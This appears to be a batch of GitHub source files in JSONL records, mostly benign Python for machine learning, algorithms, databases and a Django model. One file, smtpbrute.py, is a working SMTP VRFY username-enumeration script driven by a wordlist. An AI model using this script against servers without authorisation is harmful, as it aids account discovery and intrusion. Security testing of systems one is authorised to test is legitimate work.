Go when we're receiving 202\n backoff (float): The initial value used for backoff, raises\n exponentially until it reaches ``max_wait``\n max_wait (int): The max time between retries\n\n Returns:\n Response: :class:`gocd.api.response.Response` object\n A successful response is a zip-file.\n \"\"\"\n response = None\n started_at = None\n time_elapsed = 0\n\n i = 0\n while time_elapsed < timeout:\n response = self._get('{0}.zip'.format(path_to_directory))\n\n if response:\n break\n else:\n if started_at is None:\n started_at = time.time()\n\n time.sleep(min(backoff * (2 ** i), max_wait))\n i += 1\n time_elapsed = time.time() - started_at\n\n return response\n","repo_name":"gaqzi/py-gocd","sub_path":"gocd/api/artifact.py","file_name":"artifact.py","file_ext":"py","file_size_in_byte":4274,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"39"} +{"seq_id":"73846636274","text":"# Created or modifed on Oct 2022\r\n# Author: 임일\r\n# Factorizagion Machines(FM) 연습문제 7-1-2 (EachMovie)\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom sklearn.utils import shuffle\r\n\r\n# csv 파일에서 불러오기\r\nratings = pd.read_csv('C:/RecoSys/Data/EM_ratings.csv', encoding='utf-8')\r\n\r\n# 사용자 정보를 읽고 column이름을 변경\r\nusers = pd.read_csv('C:/RecoSys/Data/person.csv', encoding='utf-8')\r\nusers.columns = (['user_id', 'age', 'sex', 'zip_code'])\r\nusers = users.drop(['zip_code'], axis=1)\r\n\r\n# 영화 정보를 읽고 column이름을 변경\r\nmovies = pd.read_csv('C:/RecoSys/Data/movie.csv', encoding='utf-8')\r\nmovies = movies[['ID', 'Name', 'Action', 'Animation', 'Art_Foreign', \r\n 'Classic', 'Comedy', 'Drama', 'Family', 'Horror', 'Romance', 'Thriller']]\r\nmovies.columns = (['movie_id', 'title', 'Action', 'Animation', 'Art_Foreign', \r\n 'Classic', 'Comedy', 'Drama', 'Family', 'Horror', 'Romance', 'Thriller'])\r\n\r\n\r\n\r\n\r\n\r\n\r\nK = 250\r\nfm1 = FM(num_x, K, data, y, alpha=0.0007, beta=0.003, train_ratio=0.75, iterations=900, tolerance=0.0005, l2_reg=True, verbose=True)\r\nresult = fm1.test()\r\n","repo_name":"Jon9woo/RecommenderSystem_code","sub_path":"week7/EM-FM2.py","file_name":"EM-FM2.py","file_ext":"py","file_size_in_byte":1159,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"74202110514","text":"# 1644번 소수의 연속합\n\n\n# 에라토스테네스의 채\ndef eratos(n):\n nums = [True] * (n+1)\n\n m = int(n ** 0.5)\n for i in range(2, m+1):\n if nums[i]:\n for j in range(i+i, n+1, i):\n nums[j] = False\n\n return [i for i in range(2, n+1) if nums[i]]\n\nn = int(input())\nanswer = 0\n\nprimes = eratos(4000000)\n\ntmp = primes[0]\ni = j = 0\nwhile i <= j:\n if tmp < n:\n if j + 1 <= len(primes) - 1:\n j += 1\n tmp += primes[j]\n else:\n tmp -= primes[i]\n i += 1\n elif tmp > n:\n tmp -= primes[i]\n i += 1\n else:\n answer += 1\n j += 1\n tmp += primes[j]\nprint(answer)\n","repo_name":"hooong/baekjoon","sub_path":"Python/1644.py","file_name":"1644.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"29747877096","text":"# select rows\r\nimport sqlite3 # import the database driver\r\n\r\nconn = sqlite3.connect(\"mydatabase.db\") # connect to the database\r\n\r\ncursor = conn.cursor() # create a cursor\r\n\r\nSQL = \"\"\"SELECT * FROM books\"\"\"\r\n\r\ncursor.execute(SQL) # execute the sql\r\n\r\n\r\n# fetch one row\r\n\r\nprint(cursor.fetchone())\r\n\r\n# fetch many rows\r\nprint(cursor.fetchmany(3))\r\n\r\n# fetch all rows\r\n\r\nprint(cursor.fetchall())\r\n\r\n# fetch using a for loop\r\n\r\nfor row in cursor.execute(SQL):\r\n print(row)\r\n \r\n# fetch using for and unpack\r\nfor bid, title, author in cursor.execute(SQL):\r\n print(bid, title, author)\r\n\r\n\r\nconn.close() # close the connection\r\n","repo_name":"JatinAggarwal2790/python-2023","sub_path":"db8.py","file_name":"db8.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"39238283021","text":"from collections import deque\n\ndef solution(maps):\n answer = 0\n #bfs를 사용하는 이유는 최단 경로를 찾고 싶은 문제니까\n\n def bfs(x, y):\n q = deque()\n q.append((x, y))\n dx = [-1, 1, 0, 0]\n dy = [0, 0, -1, 1] \n \n while q:\n x,y = q.popleft()\n \n for i in range(4):\n nx = dx[i]+x\n ny = dy[i]+y\n \n if len(maps)<= nx or len(maps[0])<= ny or nx<0 or ny<0 : continue #범주 밖\n if maps[nx][ny] == 0: continue #벽\n if maps[nx][ny] == 1:\n maps[nx][ny] = maps[x][y] + 1\n q.append((nx,ny))\n \n \n return maps[len(maps)-1][len(maps[0]) - 1]\n \n answer = bfs(0,0)\n\n return -1 if answer == 1 else answer \n\n\n","repo_name":"min1018/algorithm-study-2022-2","sub_path":"6주차/게임맵만들기.py","file_name":"게임맵만들기.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"6382106541","text":"from django.db import models\nfrom datetimemixin.models import DateTimeMixin\nimport secrets\n\n\nclass Brand(DateTimeMixin):\n name = models.CharField(\n max_length=120,\n blank=False,\n unique=True\n )\n image = models.ImageField(\n upload_to='images/brand',\n blank=False\n )\n sku = models.CharField(\n max_length=255,\n blank=True,\n unique=True\n )\n\n def save(self, *args, **kwargs):\n if not self.sku:\n self.sku = secrets.token_urlsafe(nbytes=12)\n return super(Brand, self).save(*args, **kwargs)\n\n def __str__(self):\n return self.name\n\n","repo_name":"RezaJeffrey/rest-ecommerce-api","sub_path":"back-end/brands/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":635,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"39"} +{"seq_id":"40721675607","text":"import argparse\n\nimport numpy as np\nimport pandas as pd\nimport os\nimport pickle\nimport utils\nimport sklearn.preprocessing\nfrom sklearn.model_selection import train_test_split\nfrom tqdm import tqdm\nimport metrics\nimport config\n\nfrom tensorflow.python.keras.callbacks import ModelCheckpoint, TensorBoard, LearningRateScheduler, ReduceLROnPlateau\nfrom tensorflow.python.keras.layers import Dense, Dropout, BatchNormalization\nfrom tensorflow.python.keras.layers import Input, Lambda\nfrom tensorflow.python.keras.models import Model\nfrom tensorflow.python.keras.optimizers import Adam\nfrom tensorflow.python.keras.regularizers import l1\n\nfrom multiprocessing.pool import ThreadPool, Pool\n\nNB_CAT = 24\n\n\ndef preprocess_x(data: np.ndarray):\n rows = []\n downsample = 4\n for row in data:\n items = []\n for col in range(row.shape[1]):\n sorted = np.sort(row[:, col])\n items.append(sorted.reshape(-1, downsample).mean(axis=1))\n rows.append(np.hstack(items))\n return np.array(rows)\n\n\ndef load_train_data(model_name, fold, cache_prefix='nn'):\n data_path = '../output/prediction_train_frames'\n cache_fn = f'{data_path}/{cache_prefix}_{model_name}_{fold}_cache.npz'\n print(cache_fn, os.path.exists(cache_fn))\n\n if os.path.exists(cache_fn):\n print('loading cache', cache_fn)\n cached = np.load(cache_fn)\n print('loaded cache')\n X, y, video_ids = cached['X'], cached['y'], cached['video_ids']\n else:\n raw_cache_fn = f'{data_path}/{model_name}_{fold}_combined.npz'\n print('loading raw cache', raw_cache_fn, os.path.exists(raw_cache_fn))\n cached = np.load(raw_cache_fn)\n X_raw, y, video_ids = cached['X_raw'], cached['y'], cached['video_ids']\n X = preprocess_x(X_raw)\n np.savez(cache_fn, X=X, y=y, video_ids=video_ids)\n return X, y, video_ids\n\n\ndef load_test_data_uncached(test_path, model_name, fold, video_ids):\n X_raw = []\n for video_id in tqdm(video_ids):\n ds = np.loadtxt(os.path.join(test_path, f'{model_name}_{fold}', video_id+'.csv'), delimiter=',', skiprows=1)\n # 0 col is frame number\n X_raw.append(ds[:, 1:])\n X_raw = np.array(X_raw)\n X = preprocess_x(X_raw)\n return X\n\n\ndef load_test_data(test_path, model_name, fold):\n X_raw = np.load(f'{test_path}/{model_name}_{fold}_combined.npy')\n X = preprocess_x(X_raw)\n return X\n\n\ndef avg_probabilities():\n ds = pd.read_csv(config.TRAINING_SET_LABELS)\n data = ds.as_matrix()[:, 1:]\n return data.mean(axis=0)\n\n\ndef model_nn(input_size):\n input_data = Input(shape=(input_size,))\n x = input_data\n x = Dense(1024, activation='relu')(x)\n x = Dropout(0.5)(x)\n x = Dense(128, activation='relu')(x)\n x = Dense(NB_CAT, activation='sigmoid', kernel_regularizer=l1(1e-5))(x)\n model = Model(inputs=input_data, outputs=x)\n return model\n\n\ndef model_nn_combined(input_size):\n input_data = Input(shape=(input_size,))\n x = input_data\n x = Dense(2048, activation='relu')(x)\n x = Dropout(0.75)(x)\n x = Dense(128, activation='relu')(x)\n x = Dense(NB_CAT, activation='sigmoid', kernel_regularizer=l1(1e-5))(x)\n model = Model(inputs=input_data, outputs=x)\n return model\n\n\ndef try_train_model_nn(model_name, fold):\n with utils.timeit_context('load data'):\n X, y, video_ids = load_train_data(model_name, fold)\n\n print(X.shape, y.shape)\n model = model_nn(input_size=X.shape[1])\n model.compile(optimizer=Adam(lr=1e-3), loss='binary_crossentropy', metrics=['accuracy'])\n model.summary()\n\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.25, random_state=42)\n batch_size = 64\n\n model.fit(X_train, y_train,\n batch_size=batch_size,\n epochs=128,\n verbose=1,\n validation_data=[X_test, y_test],\n callbacks=[ReduceLROnPlateau(factor=0.2, verbose=True, min_lr=1e-6)])\n\n prediction = model.predict(X_test)\n\n print(y_test.shape, prediction.shape)\n print(metrics.pri_matrix_loss(y_test, prediction))\n print(metrics.pri_matrix_loss(y_test, np.clip(prediction, 0.001, 0.999)))\n delta = prediction - y_test\n print(np.min(delta), np.max(delta), np.mean(np.abs(delta)), np.sum(np.abs(delta) > 0.5))\n\n # avg_prob = avg_probabilities()\n # # print(avg_prob)\n # avg_pred = np.repeat([avg_prob], y_test_one_hot.shape[0], axis=0)\n # print(metrics.pri_matrix_loss(y_test_one_hot, avg_pred))\n # print(metrics.pri_matrix_loss(y_test_one_hot, avg_pred*0.1 + prediction*0.9))\n\n\ndef train_model_nn(model_name, fold, load_cache=True):\n with utils.timeit_context('load data'):\n X, y, video_ids = load_train_data(model_name, fold)\n\n print(X.shape, y.shape)\n model = model_nn(input_size=X.shape[1])\n model.compile(optimizer=Adam(lr=1e-4), loss='binary_crossentropy', metrics=['accuracy'])\n model.summary()\n\n batch_size = 64\n\n def cheduler(epoch):\n if epoch < 32:\n return 1e-3\n if epoch < 48:\n return 4e-4\n if epoch < 80:\n return 1e-4\n return 1e-5\n\n model.fit(X, y,\n batch_size=batch_size,\n epochs=128,\n verbose=1,\n callbacks=[LearningRateScheduler(schedule=cheduler)])\n\n model.save_weights(f\"../output/nn1_{model_name}_{fold}_full.pkl\")\n\n\ndef train_all_single_fold_models():\n for models in config.ALL_MODELS:\n for model_name, fold in models:\n weights_fn = f\"../output/nn1_{model_name}_{fold}_full.pkl\"\n print(model_name, fold, weights_fn)\n if os.path.exists(weights_fn):\n print('skip existing file')\n else:\n train_model_nn(model_name, fold)\n\n\ndef predict_all_single_fold_models():\n ds = pd.read_csv(config.SUBMISSION_FORMAT)\n classes = list(ds.columns)[1:]\n\n total_weight = 0.0\n result = np.zeros((ds.shape[0], NB_CAT))\n\n data_dir = '../output/prediction_test_frames/'\n\n for models in config.ALL_MODELS:\n for model_name, fold in models:\n weights_fn = f\"../output/nn1_{model_name}_{fold}_full.pkl\"\n print(model_name, fold, weights_fn)\n\n with utils.timeit_context('load data'):\n X = load_test_data(data_dir, model_name, fold)\n print(X.shape)\n\n model = model_nn(input_size=X.shape[1])\n model.compile(optimizer=Adam(lr=1e-4), loss='binary_crossentropy', metrics=['accuracy'])\n model.load_weights(weights_fn)\n\n with utils.timeit_context('predict'):\n prediction = model.predict(X)\n weight = config.MODEL_WEIGHTS[model_name]\n result += prediction * weight\n total_weight += weight\n\n os.makedirs('../submissions', exist_ok=True)\n result /= total_weight\n\n for clip10 in [5, 4, 3, 2]:\n clip = 10 ** (-clip10)\n for col, cls in enumerate(classes):\n ds[cls] = np.clip(result[:, col] * (1 - clip * 2) + clip, clip, 1.0 - clip)\n ds.to_csv(f'../submissions/submission_single_folds_models_nn_clip_{clip10}.csv',\n index=False,\n float_format='%.8f')\n\n\ndef train_model_nn_combined_folds(combined_model_name, model_with_folds, load_cache=True):\n X_combined = []\n y_combined = []\n\n for model_name, fold in model_with_folds:\n with utils.timeit_context('load data'):\n X, y, video_ids = load_train_data(model_name, fold)\n X_combined.append(X)\n y_combined.append(y)\n\n X = np.row_stack(X_combined)\n y = np.row_stack(y_combined)\n\n print(X.shape, y.shape)\n model = model_nn(input_size=X.shape[1])\n model.compile(optimizer=Adam(lr=1e-4), loss='binary_crossentropy', metrics=['accuracy'])\n model.summary()\n\n batch_size = 64\n\n def cheduler(epoch):\n if epoch < 32:\n return 1e-3\n if epoch < 48:\n return 4e-4\n if epoch < 80:\n return 1e-4\n return 1e-5\n\n model.fit(X, y,\n batch_size=batch_size,\n epochs=128,\n verbose=1,\n callbacks=[LearningRateScheduler(schedule=cheduler)])\n\n model.save_weights(f\"../output/nn_combined_folds_{combined_model_name}.pkl\")\n\n\ndef train_all_models_nn_combined(combined_model_name, models_with_folds):\n X_all_combined = []\n y_all_combined = []\n\n for model_with_folds in models_with_folds:\n X_combined = []\n y_combined = []\n for model_name, fold in model_with_folds:\n with utils.timeit_context('load data'):\n X, y, video_ids = load_train_data(model_name, fold)\n X_combined.append(X)\n y_combined.append(y)\n\n X_all_combined.append(np.row_stack(X_combined))\n y_all_combined.append(np.row_stack(y_combined))\n\n X = np.column_stack(X_all_combined)\n y = y_all_combined[0]\n\n print(X.shape, y.shape)\n model = model_nn_combined(input_size=X.shape[1])\n model.compile(optimizer=Adam(lr=1e-4), loss='binary_crossentropy', metrics=['accuracy'])\n model.summary()\n\n batch_size = 64\n\n def cheduler(epoch):\n if epoch < 32:\n return 1e-3\n if epoch < 48:\n return 4e-4\n if epoch < 80:\n return 1e-4\n return 1e-5\n\n model.fit(X, y,\n batch_size=batch_size,\n epochs=80,\n verbose=1,\n callbacks=[LearningRateScheduler(schedule=cheduler)])\n\n model.save_weights(f\"../output/nn_{combined_model_name}_full.pkl\")\n\n\ndef try_train_all_models_nn_combined(models_with_folds):\n X_all_combined = []\n y_all_combined = []\n\n for model_with_folds in models_with_folds:\n X_combined = []\n y_combined = []\n for model_name, fold in model_with_folds:\n with utils.timeit_context('load data'):\n X, y, video_ids = load_train_data(model_name, fold)\n X_combined.append(X)\n y_combined.append(y)\n\n X_all_combined.append(np.row_stack(X_combined))\n y_all_combined.append(np.row_stack(y_combined))\n\n X = np.column_stack(X_all_combined)\n y = y_all_combined[0]\n\n print(X.shape, y.shape)\n model = model_nn_combined(input_size=X.shape[1])\n model.compile(optimizer=Adam(lr=1e-4), loss='binary_crossentropy', metrics=['accuracy'])\n model.summary()\n\n batch_size = 64\n\n def cheduler(epoch):\n if epoch < 32:\n return 1e-3\n if epoch < 48:\n return 4e-4\n if epoch < 80:\n return 1e-4\n return 1e-5\n\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.25, random_state=42)\n\n model.fit(X_train, y_train,\n batch_size=batch_size,\n epochs=128,\n verbose=1,\n validation_data=[X_test, y_test],\n callbacks=[LearningRateScheduler(schedule=cheduler)])\n\n prediction = model.predict(X_test)\n\n print(y_test.shape, prediction.shape)\n print(metrics.pri_matrix_loss(y_test, prediction))\n print(metrics.pri_matrix_loss(y_test, np.clip(prediction, 0.001, 0.999)))\n print(metrics.pri_matrix_loss(y_test, np.clip(prediction, 0.0001, 0.9999)))\n delta = prediction - y_test\n print(np.min(delta), np.max(delta), np.mean(np.abs(delta)), np.sum(np.abs(delta) > 0.5))\n\n\ndef predict_on_test_combined(combined_model_name, models_with_folds):\n ds = pd.read_csv(config.SUBMISSION_FORMAT)\n classes = list(ds.columns)[1:]\n folds = [1, 2, 3, 4]\n\n X_combined = {fold: [] for fold in folds}\n for model_with_folds in models_with_folds:\n for data_model_name, data_fold in model_with_folds:\n data_dir = f'../output/prediction_test_frames/'\n with utils.timeit_context('load data'):\n X_combined[data_fold].append(load_test_data(data_dir, data_model_name, data_fold))\n # print(X_combined[-1].shape)\n pickle.dump(X_combined, open(f\"../output/X_combined_{combined_model_name}.pkl\", \"wb\"))\n\n # X_combined = pickle.load(open(f\"../output/X_combined_{combined_model_name}.pkl\", 'rb'))\n\n model = model_nn_combined(input_size=np.column_stack(X_combined[1]).shape[1])\n model.compile(optimizer=Adam(lr=1e-4), loss='binary_crossentropy', metrics=['accuracy'])\n model.load_weights(f\"../output/nn_{combined_model_name}_full.pkl\")\n\n predictions = []\n with utils.timeit_context('predict'):\n for fold in [1, 2, 3, 4]:\n X = np.column_stack(X_combined[fold])\n predictions.append(model.predict(X))\n\n prediction = np.mean(np.array(predictions).astype(np.float64), axis=0)\n os.makedirs('../submissions', exist_ok=True)\n\n for clip10 in [5, 4, 3, 2]:\n clip = 10 ** (-clip10)\n for col, cls in enumerate(classes):\n ds[cls] = np.clip(prediction[:, col]*(1-clip*2)+clip, clip, 1.0-clip)\n ds.to_csv(f'../submissions/submission_combined_models_nn_{combined_model_name}_clip_{clip10}.csv',\n index=False,\n float_format='%.8f')\n\n\ndef predict_on_test(model_name, fold, data_model_name=None, data_fold=None):\n ds = pd.read_csv(config.SUBMISSION_FORMAT)\n classes = list(ds.columns)[1:]\n\n if data_model_name is None:\n data_model_name = model_name\n\n if data_fold is None:\n data_fold = fold\n\n with utils.timeit_context('load data'):\n X = load_test_data('../output/prediction_test_frames/', data_model_name, data_fold)\n print(X.shape)\n\n model = model_nn(input_size=X.shape[1])\n model.compile(optimizer=Adam(lr=1e-4), loss='binary_crossentropy', metrics=['accuracy'])\n model.load_weights(f\"../output/nn1_{model_name}_{fold}_full.pkl\")\n\n with utils.timeit_context('predict'):\n prediction = model.predict(X)\n\n for col, cls in enumerate(classes):\n ds[cls] = np.clip(prediction[:, col], 0.001, 0.999)\n os.makedirs('../submissions', exist_ok=True)\n ds.to_csv(f'../submissions/submission_one_model_nn_{model_name}_{data_fold}.csv', index=False, float_format='%.7f')\n\n\ndef check_corr(sub1, sub2):\n print(sub1, sub2)\n s1 = pd.read_csv('../submissions/' + sub1)\n s2 = pd.read_csv('../submissions/' + sub2)\n for col in s1.columns[1:]:\n print(col, s1[col].corr(s2[col]))\n\n print('mean ', sub1, sub2, 'sub2-sub1')\n for col in s1.columns[1:]:\n print('{:20} {:.6} {:.6} {:.6}'.format(col, s1[col].mean(), s2[col].mean(), s2[col].mean() - s1[col].mean()))\n\n\ndef combine_submissions():\n for clip10 in [4]:\n sources = [\n (f'submission_combined_models_nn_combined_extra_dr075_clip_{clip10}.csv', 4.0),\n (f'submission_combined_folds_models_nn_clip_{clip10}.csv', 1.0),\n (f'submission_single_folds_models_nn_clip_{clip10}.csv', 1.0),\n\n (f'submission_combined_models_xgboost_2k_extra_clip_{clip10}.csv', 4.0),\n (f'submission_combined_folds_models_xgboost_clip_{clip10}.csv', 1.0),\n (f'submission_single_folds_models_xgboost_clip_{clip10}.csv', 1.0),\n ]\n total_weight = sum([s[1] for s in sources])\n ds = pd.read_csv(config.SUBMISSION_FORMAT)\n for src_fn, weight in sources:\n src = pd.read_csv('../submissions/'+src_fn)\n for col in ds.columns[1:]:\n ds[col] += src[col]*weight/total_weight\n ds.to_csv(f'../submissions/submission_59_avg_xgb_nn_lgb_all_4_1_1_clip_{clip10}.csv', index=False, float_format='%.8f')\n\n\ndef train_combined_folds_models():\n for models in config.ALL_MODELS:\n combined_model_name = models[0][0] + '_combined'\n print('*' * 64)\n print(combined_model_name)\n print('*' * 64)\n train_model_nn_combined_folds(combined_model_name, models, load_cache=True)\n\n\ndef predict_combined_folds_models():\n ds = pd.read_csv(config.SUBMISSION_FORMAT)\n classes = list(ds.columns)[1:]\n\n total_weight = 0.0\n result = np.zeros((ds.shape[0], NB_CAT))\n\n data_dir = '../output/prediction_test_frames/'\n pool = ThreadPool(8)\n\n for models in config.ALL_MODELS:\n combined_model_name = models[0][0] + '_combined'\n\n def load_data(request):\n model_name, fold = request\n return load_test_data(data_dir, model_name, fold)\n\n with utils.timeit_context('load 4 folds data'):\n X_for_folds = pool.map(load_data, models)\n\n model = model_nn(input_size=X_for_folds[0].shape[1])\n model.compile(optimizer=Adam(lr=1e-4), loss='binary_crossentropy', metrics=['accuracy'])\n model.load_weights(f\"../output/nn_combined_folds_{combined_model_name}.pkl\")\n\n for (model_name, fold), X in zip(models, X_for_folds):\n with utils.timeit_context('predict'):\n prediction = model.predict(X)\n weight = config.MODEL_WEIGHTS[model_name]\n result += prediction*weight\n total_weight += weight\n\n os.makedirs('../submissions', exist_ok=True)\n result /= total_weight\n\n for clip10 in [5, 4, 3, 2]:\n clip = 10 ** (-clip10)\n for col, cls in enumerate(classes):\n ds[cls] = np.clip(result[:, col] * (1 - clip * 2) + clip, clip, 1.0 - clip)\n ds.to_csv(f'../submissions/submission_combined_folds_models_nn_clip_{clip10}.csv',\n index=False,\n float_format='%.8f')\n\n\ndef predict_unused_clips(data_model_name, data_fold, combined_model_name):\n ds = pd.read_csv(config.SUBMISSION_FORMAT)\n classes = list(ds.columns)[1:]\n\n data_dir = f'../output/prediction_unused_frames/'\n video_ids = [fn[:-4] for fn in os.listdir(data_dir) if fn.endswith('.csv')]\n\n with utils.timeit_context('load data'):\n X = load_test_data_uncached(data_dir, data_model_name, data_fold, video_ids)\n\n model = model_nn(input_size=X.shape[1])\n model.compile(optimizer=Adam(lr=1e-4), loss='binary_crossentropy', metrics=['accuracy'])\n model.load_weights(f\"../output/nn1_{combined_model_name}_0_full.pkl\")\n\n with utils.timeit_context('predict'):\n prediction = model.predict(X)\n\n ds = pd.DataFrame(data={'filename': video_ids})\n\n for col, cls in enumerate(classes):\n ds[cls] = prediction[:, col] # np.clip(prediction[:, col], 0.001, 0.999)\n # os.makedirs('../submissions', exist_ok=True)\n ds.to_csv(f'../output/prediction_unused_frames/{data_model_name}_{data_fold}.csv', index=False, float_format='%.7f')\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='second stage nn')\n parser.add_argument('action', type=str, default='predict')\n\n args = parser.parse_args()\n\n if args.action == 'train':\n train_all_models_nn_combined('combined_extra_dr075', config.ALL_MODELS)\n train_combined_folds_models()\n train_all_single_fold_models()\n elif args.action == 'predict':\n predict_on_test_combined('combined_extra_dr075', config.ALL_MODELS)\n predict_combined_folds_models()\n predict_all_single_fold_models()\n elif args.action == 'generate_submission':\n combine_submissions()\n elif args.action == 'predict_unused':\n for models in config.ALL_MODELS[:-1]:\n combined_model_name = models[0][0] + '_combined'\n print('*' * 64)\n print(combined_model_name)\n print('*' * 64)\n train_model_nn_combined_folds(combined_model_name, models, load_cache=True)\n train_combined_folds_models()\n predict_unused_clips(data_model_name='resnet50_avg', data_fold=2, combined_model_name='resnet50_avg_combined')\n predict_unused_clips(data_model_name='inception_v3', data_fold=1, combined_model_name='inception_v3_combined')\n predict_unused_clips(data_model_name='inception_v3', data_fold=2, combined_model_name='inception_v3_combined')\n predict_unused_clips(data_model_name='xception_avg', data_fold=1, combined_model_name='xception_avg_ch10_combined')\n predict_unused_clips(data_model_name='xception_avg', data_fold=2, combined_model_name='xception_avg_ch10_combined')\n","repo_name":"drivendataorg/pri-matrix-factorization","sub_path":"1st Place/src/second_stage_nn.py","file_name":"second_stage_nn.py","file_ext":"py","file_size_in_byte":20050,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"39"} +{"seq_id":"35103510921","text":"import pandas as pd\nfrom pmdarima.arima import auto_arima\nfrom statsmodels.tsa.arima.model import ARIMA\nimport matplotlib.pylab as plt\nimport numpy as np\nimport statsmodels.api as sm\nfrom statsmodels.tsa.stattools import adfuller\nfrom scipy.stats import ttest_ind\n\nfitted=pd.DataFrame()\nresidual=pd.DataFrame()\n\n\nBTC_liquidation = pd.read_csv('/Users/andyma/Desktop/Python /Perpetual_futures/Bybit/Bybit_finalData.csv', index_col=0)\nBTC_liquidation.fillna(0, inplace=True)\n\nSI=pd.read_csv('SI_measures.csv')\nLIQ_long=pd.read_csv('LIQ_long.csv')\nLIQ_short=pd.read_csv('LIQ_short.csv')\n\n\n\n############################# get the volitility\nfirstTerm_inside=0.5*(np.log(BTC_liquidation['high']/BTC_liquidation['low']))**2\nsecondTerm_inside=(2*np.log(2)-1)*(np.log(BTC_liquidation['open']/BTC_liquidation['close']))**2\nsigma_hat=(firstTerm_inside-secondTerm_inside)**(1/2)\n\n############################################### regression\n\n\n\ndef SI_LIQ_reg(exchange):\n y = pd.DataFrame()\n y['sigma'] = sigma_hat\n y.drop(index=y.index[-1], axis=0, inplace=True)\n y.reset_index(drop=True,inplace=True)\n\n ### build independent var\n X = pd.DataFrame()\n # the lagged term of sigma\n X['sigma_lag1'] = sigma_hat.shift(-1)\n # expected trading activity\n X['SI_'+exchange] = SI['SI_'+exchange]\n X['LIQ_long_'+exchange] = LIQ_long['LIQ_long_'+exchange]\n X['LIQ_short_' + exchange] = LIQ_short['LIQ_short_' + exchange]\n\n X = sm.add_constant(X, has_constant='add')\n\n X.drop(index=X.index[-1], axis=0, inplace=True)\n X.reset_index(drop=True,inplace=True)\n\n X_nan_index=np.where(X.isna().any(axis=1))[0]\n y=y.drop(X_nan_index)\n X=X.drop(X_nan_index)\n\n lm = sm.OLS(y, X).fit()\n print(lm.summary())\n pass\n\nSI_LIQ_reg('perp')\n\n\n","repo_name":"Mengzhon001/Perpetual_futures","sub_path":"SI_LIQ_regression.py","file_name":"SI_LIQ_regression.py","file_ext":"py","file_size_in_byte":1761,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"28097500066","text":"from fastHan import FastHan\nimport jieba.posseg as pseg\n# import hanlp\n\nmodel = FastHan()\n# HanLP = hanlp.load(hanlp.pretrained.mtl.UD_ONTONOTES_TOK_POS_LEM_FEA_NER_SRL_DEP_SDP_CON_XLMR_BASE)\n\nfor sentence in ['上海后花园科技有限公司', '上海后花园传媒工作室', '后花园科技(上海)有限公司']:\n # FastHan中文分词\n print(\"\\n\", model(sentence, target=\"POS\"))\n\n # jieba词性标注\n words = []\n for w, f in pseg.cut(sentence):\n words.append(\"[%s, %s]\" % (w, f))\n\n print(\"\\n\", words)\n\n # HanLP中文分词\n # print(HanLP([sentence]))\n","repo_name":"rickding/HelloPython","sub_path":"fast_han/nickname.py","file_name":"nickname.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"39"} +{"seq_id":"42417147090","text":"#!/usr/bin/python\nimport argparse\nimport socket\nimport time\nimport sys\nimport re\n\ndef serverConnect(target, port, wordlist):\n #create a socket\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n #create a connection to the server\n connect = s.connect((target,int(port)))\n #recieve the banner\n banner = s.recv(1024)\n print('Connected to: ' + banner).rstrip()\n #open wordlist\n file = open(wordlist,'r').read()\n line = 1 \n #verify username\n for x in file.split('\\n'):\n s.send('VRFY ' + x + '\\r\\n')\n result = s.recv(1024)\n if re.search('252 ', result):\n print('Username: ' + x + ' VALID ') ; time.sleep(1)\n sys.stdout.flush()\n elif re.search('550 ', result):\n sys.stdout.write(\"[%s] Testing: %s\\r\" % (line,x) )\n sys.stdout.flush()\n elif re.search('421 ', result):\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n connect = s.connect((target,int(port)))\n else:\n print(result)\n line += 1\n #close connection\n s.close()\n\ndef main():\n example = 'usage: smtpbrute.py -t 127.0.0.1 -w rockyou.txt'\n parser = argparse.ArgumentParser(prog='smtpbrute.py',\n description='smtp username brute scanner',\n epilog=example,\n formatter_class=argparse.RawDescriptionHelpFormatter)\n parser.add_argument('-t','--target',action=\"store\",dest='target')\n parser.add_argument('-w','--wordlist',action=\"store\",dest='wordlist')\n parser.add_argument('-p','--port',action=\"store\",dest='port',default=25)\n args = parser.parse_args()\n if (args.target == None) | (args.wordlist == None):\n print(parser.epilog)\n sys.exit(1)\n else:\n target = args.target\n wordlist = args.wordlist\n port = args.port\n s = serverConnect(target, port, wordlist)\n\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Juggernoobs/smtpbrute","sub_path":"smtpbrute.py","file_name":"smtpbrute.py","file_ext":"py","file_size_in_byte":1992,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"10278425722","text":"import GetOldTweets3 as got\nimport pandas as pd\nimport numpy as np\nfrom nltk.corpus import stopwords\nfrom nltk.tokenize import word_tokenize\nfrom nltk.stem import WordNetLemmatizer\n\nimport pickle\nimport plotly.graph_objects as go\nfrom plotly.subplots import make_subplots\n\nimport streamlit as st\nimport datetime\n\nimport time\n\n\ncount = 100\n\n\n\n\n# @st.cache(suppress_st_warning=True)\n# @st.cache(allow_output_mutation=True)\ndef queryTweet(tweet):\n text_query = tweet\n\n # Creation of query object\n tweetCriteria = got.manager.TweetCriteria().setQuerySearch(\n text_query).setMaxTweets(count)\n # Creation of list that contains all tweets\n tweets = got.manager.TweetManager.getTweets(tweetCriteria)\n # Creating list of chosen tweet data\n text_tweets = [[tweet.date, tweet.text] for tweet in tweets]\n\n st.subheader('First tweet result of your 